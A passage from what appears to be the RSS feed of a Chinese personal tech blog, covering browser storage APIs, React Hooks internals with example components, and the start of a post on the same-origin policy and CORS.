<li><strong>特点</strong>：这是 HTML5 中引入的离线缓存机制，允许开发者为 web 应用创建一个离线模式，用户即使断网也能访问缓存的内容。然而，由于 AppCache 有不少缺陷和安全隐患，已被弃用。</li>
<li><strong>用途</strong>：过去用于创建离线 web 应用，但目前已被 <code>Service Worker</code> 取代。</li>
<li><strong>状态</strong>：AppCache 从 HTML 5.1 开始废弃，现在大多数浏览器都不再支持。</li>
</ul>
<h3 id="websql">WebSQL</h3>
<ul>
<li><strong>特点</strong>：WebSQL 是一种基于 SQL 的数据库，最初用于在浏览器中存储结构化数据。然而由于其标准化进程停止，WebSQL 不再是主流推荐的方案。</li>
<li><strong>用途</strong>：在浏览器中进行 SQL 查询和存储结构化数据，类似 <code>IndexedDB</code> 的早期版本。</li>
<li><strong>状态</strong>：已被 <code>IndexedDB</code> 取代。</li>
</ul>
<h3 id="web-storage-cache-api">Web Storage Cache API</h3>
<ul>
<li><strong>特点</strong>：缓存 API 是 <code>Service Worker</code> 的一部分，允许在浏览器中存储 <code>Request</code> 和 <code>Response</code> 对象，常用于离线缓存。与普通缓存机制不同，开发者可以精确控制缓存的资源，并且缓存的内容可以在离线时访问。</li>
<li><strong>用途</strong>：用于离线支持、缓存管理、动态内容缓存，通常与 <code>Service Worker</code> 配合使用。</li>
<li><strong>优点</strong>：可控性更强，适用于现代 PWA（渐进式 Web 应用）的缓存策略。</li>
</ul>
<h3 id="manifest-storage">Manifest Storage</h3>
<ul>
<li><strong>特点</strong>：一种较新的 API（如 Web App Manifest），允许开发者为应用程序提供缓存策略和应用图标等元数据，常用于渐进式 Web 应用（PWA）。</li>
<li><strong>用途</strong>：存储应用元数据，定义应用行为（如是否作为全屏应用、离线模式等）。</li>
</ul>
<h3 id="file-system-access-api">File System Access API</h3>
<ul>
<li><strong>特点</strong>：允许 Web 应用访问用户的文件系统，可以直接读写文件。通过这个 API，Web 应用可以处理用户计算机上的文件，实现类似桌面应用的体验。</li>
<li><strong>用途</strong>：用户可以在不离开浏览器的情况下，直接从文件系统中读取、修改和保存文件。</li>
<li><strong>状态</strong>：这是一个较新的 API，仍在部分浏览器中实现，安全性要求较高。</li>
</ul>
<hr>
<h2 id="参考-5">参考</h2>
<ul>
<li><a href="http://blog.fantasy.codes/front-end/2016/08/23/dive-into-browser-storage/"  target="_blank" rel="noopener" >探索浏览器端的存储方式</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>进一步学习ReactHook</title>
      <link>https://euds.org/2024/learn_react_hook/</link>
      <pubDate>Tue, 08 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/learn_react_hook/</guid>
      <description>从“生命周期和时间”的思维模式转变为“状态和与DOM的同步”的思维模式</description>
      <content:encoded><![CDATA[<h2 id="react-官方-hook">React 官方 Hook</h2>
<p>Hook 是 React 16.8 之后引入的一个特性，允许你在不使用类组件的情况下在函数组件中引入状态和其他 React 特性。</p>
<h3 id="usestate"><code>useState</code></h3>
<ul>
<li><code>useState</code> 允许在函数组件中引入局部状态。它的实现依赖于闭包和状态管理机制。</li>
<li>每次渲染时，React 通过维护一个 “hook 调用栈” 来保存每次调用 <code>useState</code> 后的状态。这些状态被保存在一个链表结构中，每次渲染时 React 都会按顺序遍历这些状态。</li>
</ul>
<h3 id="useeffect"><code>useEffect</code></h3>
<ul>
<li><code>useEffect</code> 允许在函数组件中执行副作用，比如数据请求、订阅、直接 DOM 操作等。- 它的实现原理是通过依赖数组来追踪变化，并在 DOM 完成更新后执行指定的副作用逻辑。如果某些依赖值发生变化，React 就会在下一次渲染后重新执行该副作用函数。</li>
</ul>
<h3 id="usecontext"><code>useContext</code></h3>
<p>wip</p>
<h3 id="usereducer"><code>useReducer</code></h3>
<p>wip</p>
<ul>
<li>参考: <a href="https://juejin.cn/post/7091180323123232782"  target="_blank" rel="noopener" >深入学习React Hook——useReducer - 掘金</a></li>
</ul>
<h2 id="useid">useId</h2>
<ul>
<li><a href="https://react.dev/reference/react/useId"  target="_blank" rel="noopener" >useId – React</a></li>
<li>generate a unique ID</li>
<li>A component may be rendered more than once on the page—but IDs have to be unique! Instead of hardcoding an ID, generate a unique ID with useId.</li>
</ul>
<hr>
<h3 id="hook-的顺序与规则">Hook 的顺序与规则</h3>
<ul>
<li>Hook 的使用顺序非常重要。React 需要在每次渲染时依赖 Hook 调用的顺序来关联正确的状态。所以，Hook 必须在顶层调用，不能放在条件或循环中。</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/6891577820821061646"  target="_blank" rel="noopener" >React Hooks原理探究，看完不懂，你打我 - 掘金</a></li>
<li><a href="https://coderperson.com/2020/08/02/React%20Hooks%20%E8%A7%A3%E6%9E%90/"  target="_blank" rel="noopener" >React Hooks解析（看这一篇就够了） | 骚客</a></li>
<li><a href="https://incepter.github.io/how-react-works/docs/react-dom/how.hooks.work/#thenable"  target="_blank" rel="noopener" >How hooks work | How React Works</a></li>
<li><a href="https://github.com/z-memo/interview/issues/138"  target="_blank" rel="noopener" >react hooks 的原理是什么 · Issue #138 · z-memo/interview</a></li>
</ul>
<hr>
<h2 id="自定义hook">自定义hook</h2>
<h3 id="hook的理解">hook的理解</h3>
<ol>
<li>
<blockquote>
<p>在 React 中被调用的且以 use 开头命名的函数叫 Hook。</p>
</blockquote>
</li>
<li>Hooks 是一种范式转换，从“生命周期和时间”的思维模式转变为“状态和与DOM的同步”的思维模式</li>
</ol>
<blockquote>
<p>准确来说，应该是逻辑片段复用。</p>
<p>和组件化思维不同，这是另外一个粒度更细的代码复用思维。例如我们之前提到的，获取同样的数据。在组件化思维中，一个完整的组件，包括了这份数据，以及这份数据在页面上的展示结果。因此这是不同的复用思维。</p>
<p>处理获取数据过程中的公用逻辑，处理公用的登陆逻辑等。自定义hooks封装的大多数情况下不是一个完整的页面逻辑实现，而是其中的一个片段。 自定义hook能够跟随函数组件重复执行，并且每次都返回最新结果。因此，我们可以非常放心大胆的封装异步逻辑。</p>
</blockquote>
<ol start="3">
<li>自定义 Hook 是将逻辑封装为可重用的代码块。它实际上是一个普通的 JavaScript 函数，可以使用其他 Hook，并返回状态或副作用逻辑。自定义 Hook 让组件逻辑更加灵活和可重用。</li>
</ol>
<h3 id="自己的经历">自己的经历</h3>
<ol>
<li>
<p>在我写<a href="https://github.com/EuDs63/BookRecommend_Front"  target="_blank" rel="noopener" >EuDs63/BookRecommend_Front: 图书推荐系统</a>，就很经常需要从API获取数据。虽然这时候还没有自定义hook的概念，但很自然地封装了一个函数。在看了<a href="https://blog.skk.moe/post/why-you-should-not-fetch-data-directly-in-use-effect/"  target="_blank" rel="noopener" >为什么你不应该在 React 中直接使用 useEffect 从 API 获取数据 | Sukka&rsquo;s Blog</a>，了解到<a href="https://swr.vercel.app/zh-CN"  target="_blank" rel="noopener" >用于数据请求的 React Hooks 库 – SWR</a>。</p>
</li>
<li>
<p>发现了阿里巴巴开源的<a href="https://ahooks.js.org/"  target="_blank" rel="noopener" >ahooks - React Hooks Library - ahooks 3.0</a>,封装了常用的hook，代码量都不算很大，但都很巧妙，正在学习中。</p>
</li>
<li>
<p>看<a href="https://blog.saeloun.com/2022/02/17/how-to-integrate-react-app-with-google-analytics/"  target="_blank" rel="noopener" >How to integrate Google Analytics with React JS application? | Saeloun Blog</a> ,可以把ga给集成为hook,react-router-dom</p>
</li>
<li>
<p>读<a href="https://swr.vercel.app/zh-CN"  target="_blank" rel="noopener" >用于数据请求的 React Hooks 库 – SWR</a>，看上了<a href="https://swr.vercel.app/zh-CN/examples/subscription"  target="_blank" rel="noopener" >Subscription – SWR</a>，感觉能用来替代项目中使用的redux，但搜了圈，能找到的资料不多，算了。</p>
</li>
<li>
<p>发现<a href="https://usehooks.com/"  target="_blank" rel="noopener" >useHooks – The React Hooks Library</a>，可以学学</p>
</li>
</ol>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzI4NjE3MzQzNg==&amp;mid=2649865889&amp;idx=1&amp;sn=2549fb3da7608aa8e3cce0623fbd8d25"  target="_blank" rel="noopener" >超性感的React Hooks（五）：自定义hooks</a></li>
<li><a href="https://mp.weixin.qq.com/s/GPcwIPJBc9I_NtixyU-U4Q"  target="_blank" rel="noopener" >超性感的React Hooks（六）自定义hooks的思维方式</a></li>
<li><a href="https://blog.skk.moe/post/why-you-should-not-fetch-data-directly-in-use-effect/"  target="_blank" rel="noopener" >为什么你不应该在 React 中直接使用 useEffect 从 API 获取数据 | Sukka&rsquo;s Blog</a></li>
<li><a href="https://zh-hans.react.dev/warnings/invalid-hook-call-warning"  target="_blank" rel="noopener" >Hook 规则 – React 中文文档</a></li>
</ul>
<hr>
<h2 id="问题">问题</h2>
<h3 id="react-是如何把对-hook-的调用和组件联系起来的">React 是如何把对 Hook 的调用和组件联系起来的？</h3>
<p><a href="https://zh-hans.legacy.reactjs.org/docs/hooks-faq.html#under-the-hood"  target="_blank" rel="noopener" >Hooks FAQ – React</a></p>
<blockquote>
<p>React 保持对当前渲染中的组件的追踪。Hook 只会在 React 组件中被调用（或自定义 Hook —— 同样只会在 React 组件中被调用）。</p>
<p>每个组件内部都有一个「记忆单元格」列表。它们只不过是我们用来存储一些数据的 JavaScript 对象。当你用 useState() 调用一个 Hook 的时候，它会读取当前的单元格（或在首次渲染时将其初始化），然后把指针移动到下一个。这就是多个 useState() 调用会得到各自独立的本地 state 的原因。</p>
</blockquote>
<h3 id="为什么usestate是异步的">为什么useState是异步的</h3>
<p><code>useState</code> 的行为在<strong>某种程度</strong>上表现为异步，主要原因是为了优化 React 的渲染过程和性能。React 将多个状态更新合并到一起，并通过批量更新的方式避免不必要的重新渲染。具体原因如下：</p>
<ol>
<li><strong>批量更新机制</strong></li>
</ol>
<ul>
<li>React 在处理事件处理函数或生命周期方法（如 <code>useEffect</code>）中的 <code>setState</code> 调用时，通常不会立即应用状态更新，而是会将这些更新“批量”处理。在一次事件循环中，多个 <code>setState</code> 调用会被合并为一次更新。这种批量更新策略可以提高性能，避免在每次状态变化后都重新渲染组件。</li>
<li>示例：批量更新</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">handleClick</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// 更新不会立即发生
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span> <span class="c1">// 也不会立即发生
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="nx">div</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">p</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">count</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/p&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">button</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{</span><span class="nx">handleClick</span><span class="p">}</span><span class="o">&gt;</span><span class="nx">Increment</span><span class="o">&lt;</span><span class="err">/button&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="err">/div&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>在这个例子中，虽然调用了两次 <code>setCount</code>，但 React 会将它们合并为一次更新。
2. 异步特性防止多次渲染</p>
<ul>
<li>
<p>如果 <code>useState</code> 是同步的，每次调用 <code>setState</code> 时都会导致组件重新渲染，这样会严重影响性能。想象在一次事件处理函数中调用多次 <code>setState</code>，如果每次都导致同步重新渲染，性能开销将非常高。</p>
</li>
<li>
<p>示例：同步更新的弊端</p>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">handleClick</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// 如果是同步，组件将立即重新渲染
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span> <span class="c1">// 会导致多次无效渲染
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="nx">div</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">p</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">count</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/p&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">button</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{</span><span class="nx">handleClick</span><span class="p">}</span><span class="o">&gt;</span><span class="nx">Increment</span><span class="o">&lt;</span><span class="err">/button&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="err">/div&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>如果 <code>setCount</code> 是同步的，React 会在每次状态更新时都重新渲染组件，导致性能下降。为了避免这种情况，React 通过异步机制将多次更新合并到一次渲染中。</p>
<ol start="3">
<li>
<p>React Fiber 架构</p>
<ul>
<li>React 引入了新的 Fiber 架构，使其能够以分片的方式执行任务，将大任务切分成小的可中断的子任务。在此过程中，React 可能会推迟状态更新，直到它完成当前的渲染工作。这样可以确保用户界面始终保持流畅。</li>
<li>如果 <code>useState</code> 是同步的，React 就无法利用 Fiber 架构的优势来进行任务调度和批量更新。</li>
</ul>
</li>
<li>
<p>状态更新并不真正是异步的</p>
<ul>
<li>虽然 <code>useState</code> 的更新机制表现为异步，但从技术上讲，它并不是真正的异步操作，像 <code>Promise</code> 那样。实际上，它是在下一个渲染周期中同步更新的。React 将状态更新延迟到合适的时机，而不是立即应用。</li>
<li>示例：获取最新状态</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">handleClick</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setCount</span><span class="p">(</span><span class="nx">prevCount</span> <span class="p">=&gt;</span> <span class="nx">prevCount</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// 使用回调函数获取最新的状态
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nx">setCount</span><span class="p">(</span><span class="nx">prevCount</span> <span class="p">=&gt;</span> <span class="nx">prevCount</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">// 这样可以确保多次更新正确执行
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="nx">div</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">p</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">count</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/p&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="o">&lt;</span><span class="nx">button</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{</span><span class="nx">handleClick</span><span class="p">}</span><span class="o">&gt;</span><span class="nx">Increment</span><span class="o">&lt;</span><span class="err">/button&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="o">&lt;</span><span class="err">/div&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>通过回调函数 <code>prevCount</code>，我们可以确保每次更新都基于最新的状态值。这样即便 <code>setState</code> 是异步的，也能确保状态更新的正确性。</p>
</li>
</ol>
<h3 id="为什么hooks不能写在ifelse等语句里">为什么hooks不能写在if/else等语句里</h3>
<ol>
<li>
<p>Hooks 调用顺序的依赖</p>
<ul>
<li>React 使用一个内部的“链表”来跟踪组件中的每个 Hook 的调用。当 React 渲染组件时，Hooks 是按照定义的顺序被调用的。在后续渲染中，React 依赖这个顺序来确保同一个 Hook 对应的是之前的状态或副作用。</li>
<li>示例</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>  <span class="c1">// Hook 1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="p">[</span><span class="nx">name</span><span class="p">,</span> <span class="nx">setName</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">);</span>   <span class="c1">// Hook 2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>                       <span class="c1">// Hook 3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nb">document</span><span class="p">.</span><span class="nx">title</span> <span class="o">=</span> <span class="sb">`Count: </span><span class="si">${</span><span class="nx">count</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">count</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;{</span><span class="nx">count</span><span class="p">}&lt;/</span><span class="nt">div</span><span class="p">&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>在每次渲染中，React 会按照调用顺序分配状态：</p>
<ol>
<li><code>useState(0)</code> 对应第一个状态 <code>count</code>。</li>
<li><code>useState('')</code> 对应第二个状态 <code>name</code>。</li>
<li><code>useEffect</code> 处理副作用。</li>
</ol>
<p>如果这个顺序保持一致，React 能够正确地追踪状态和副作用。</p>
</li>
<li>
<p>在条件语句中使用 Hooks的后果</p>
<ul>
<li>
<p>可能会导致 Hooks 的调用顺序在不同渲染中不一致</p>
</li>
<li>
<p>错误示例</p>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>  <span class="c1">// Hook 1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">count</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="p">[</span><span class="nx">name</span><span class="p">,</span> <span class="nx">setName</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">);</span>  <span class="c1">// Hook 2 （条件性调用）
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>                       <span class="c1">// Hook 3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="nb">document</span><span class="p">.</span><span class="nx">title</span> <span class="o">=</span> <span class="sb">`Count: </span><span class="si">${</span><span class="nx">count</span><span class="si">}</span><span class="sb">`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">count</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="o">&lt;</span><span class="nx">div</span><span class="o">&gt;</span><span class="p">{</span><span class="nx">count</span><span class="p">}</span><span class="o">&lt;</span><span class="err">/div&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>如果 <code>count &gt; 0</code>，<code>name</code> 的 <code>useState</code> 会被调用。但如果 <code>count &lt;= 0</code>，该 <code>useState</code> 不会被调用。这导致：</p>
<ul>
<li>当 <code>count &gt; 0</code> 时，<code>useEffect</code> 是第三个 Hook。</li>
<li>当 <code>count &lt;= 0</code> 时，<code>useEffect</code> 是第二个 Hook。</li>
</ul>
<p>这样，React 无法知道哪个 Hook 应该关联到哪个状态，状态更新和副作用可能会错误地关联到不同的 Hook，导致不可预知的错误。</p>
</li>
<li>
<p>React 如何追踪 Hooks</p>
<ul>
<li>React 通过一个全局的“调用栈”来追踪每个组件中的 Hooks。当组件渲染时，React 会按顺序调用所有的 Hooks，并在内部记录这些调用。这样，每次渲染时，React 能够依赖这个顺序来关联状态。</li>
<li>如果在 <code>if/else</code> 中使用 Hooks，可能会导致某些 Hooks 在特定条件下被跳过，破坏这个顺序，从而导致错误的状态关联。</li>
</ul>
</li>
<li>
<p>报错提示</p>
<ul>
<li>
<blockquote>
<p>Rendered more hooks than during the previous render</p>
</blockquote>
</li>
<li>
<blockquote>
<p>Hooks can only be called inside the body of a function component.</p>
</blockquote>
</li>
</ul>
</li>
<li>
<p>参考</p>
<ul>
<li><a href="https://www.pipipi.net/28758.html"  target="_blank" rel="noopener" >为什么不能在if语句里面写hooks，HooKs链表写得清清楚楚🤣🤣🤣 - 码农之家</a></li>
<li><a href="https://zh-hans.react.dev/warnings/invalid-hook-call-warning"  target="_blank" rel="noopener" >Hook 规则 – React 中文文档</a></li>
<li><a href="https://overreacted.io/why-do-hooks-rely-on-call-order/"  target="_blank" rel="noopener" >Why Do React Hooks Rely on Call Order? — overreacted</a></li>
<li><a href="https://github.com/z-memo/interview/issues/138"  target="_blank" rel="noopener" >react hooks 的原理是什么 · Issue #138 · z-memo/interview</a></li>
</ul>
</li>
</ol>
<h3 id="hooks能实现类里面的所有生命周期吗">hooks能实现类里面的所有生命周期吗</h3>
<ul>
<li>&ldquo;Commit phase&quot;中的三个方法,Can work with DOM, run side effects, schedule updates：
<ol>
<li><code>componentDidMount</code> -&gt; the useEffect hook with the second argument of []</li>
<li><code>componentDidUpdate</code> -&gt; the useEffect hook with the second argument of [state]</li>
<li><code>componentWillUnmount</code> -&gt; <strong>return a function</strong> that runs on unmounting inside the useEffect function,例:</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">    <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Hello&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Bye&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="p">[]);</span>
</span></span></code></pre></div></li>
<li>上面的类比只是类比，不能等同，原因：
<ol>
<li>实际原理不同</li>
<li>执行时机不同</li>
</ol>
</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>跨域问题</title>
      <link>https://euds.org/2024/cors_problem/</link>
      <pubDate>Sun, 06 Oct 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/cors_problem/</guid>
      <description>blocked by CORS policy</description>
      <content:encoded><![CDATA[<h2 id="什么是同源政策">什么是同源政策?</h2>
<h3 id="定义">定义</h3>
<ul>
<li>如果两个 URL 的协议、端口（如果有指定的话）和主机都相同的话，则这两个 URL 是同源的。</li>
<li>当一个网页加载的资源（如脚本、样式表、图片等）来自于与当前页面不同的域名、协议或端口时，就称为跨域请求。</li>
</ul>
<h3 id="举例">举例：</h3>
<ul>
<li><code>http://store.company.com/dir/page.html</code> 与<code>http://store.company.com/dir2/other.html</code> 同源</li>
<li><code>http://store.company.com/dir/page.html</code> 与<code>http://news.company.com/dir/other.html</code>不同源,因为主机不同</li>
</ul>
<h3 id="参考">参考：</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy"  target="_blank" rel="noopener" >浏览器的同源策略 - Web 安全 | MDN</a></li>
</ul>
<hr>
<h2 id="为什么要有同源政策">为什么要有同源政策?</h2>
<blockquote>
<p>同源政策限制的是非同源的请求，那非同源请求会带来什么问题呢? 假设今天有一个使用者登入某一银行网站www.bank.com ，同时他刚好在使用另一个不安全的网站例如www.stolemoney.com ，如果没有同源政策的话，这个stolemoney 网站可能可以轻易地存取这个使用者在www.bank.com 里的资料。</p>
<p>浏览器的同源政策就像是最基本的一层保护机制，让不同源的网站无法存取到资源和资料。另外要注意的是，这个阻挡机制是在最后浏览器收到服务器端回应后发生的; 也就是说，就算是非同源请求，如果服务器端没有做任何阻挡、并回传结果，浏览器端其实是会成功收到回应，但因为违反同源政策，浏览器会拦截这个回应、并报错。</p>
</blockquote>
<hr>
<h2 id="跨域问题的解决">跨域问题的解决</h2>
<h3 id="三类标签">三类标签</h3>
<ul>
<li>有类个标签允许跨域加载资源
<ol>
<li><code>&lt;img src=XXX&gt;</code></li>
<li><code>&lt;link href=XXX&gt;</code></li>
<li><code>&lt;script src=XXX&gt;</code></li>
</ol>
</li>
</ul>
<h3 id="代理">代理</h3>
<ul>
<li>原理：
<ul>
<li>同源策略只受限于<strong>浏览器</strong>访问服务器，对于<strong>服务器</strong>访问服务器并没有限制的特点。中间服务器做了一个请求转发的功能</li>
</ul>
</li>
<li>实现：
<ul>
<li>Node中间件代理</li>
<li>nginx反向代理</li>
<li>vite配置代理
<ul>
<li><a href="https://zxuqian.cn/vite-proxy-config/"  target="_blank" rel="noopener" >Vite 配置代理 Proxy，避免跨域和重复编写url的问题 - 峰华前端工程师</a></li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="cors">CORS</h3>
<ul>
<li>CORS 跨源资源共享（Cross-Origin Resource Sharing）。</li>
<li>总体思路是：如果浏览器要跨域访问服务器的资源，需要获得服务器的允许</li>
<li>三种请求
<ol>
<li>简单请求
<ul>
<li>需要同时满足以下两大条件
<ol>
<li>使用下列方法之一：GET HEAD POST</li>
<li>Content-Type 的值仅限于下列三者之一：text/plain,multipart/form-data,application/x-www-form-urlencoded</li>
</ol>
</li>
</ul>
</li>
<li>需要预检的请求</li>
<li>附带身份凭证的请求</li>
</ol>
</li>
<li>服务器通过响应header<code>Access-Control-Allow-Origin</code>进行控制</li>
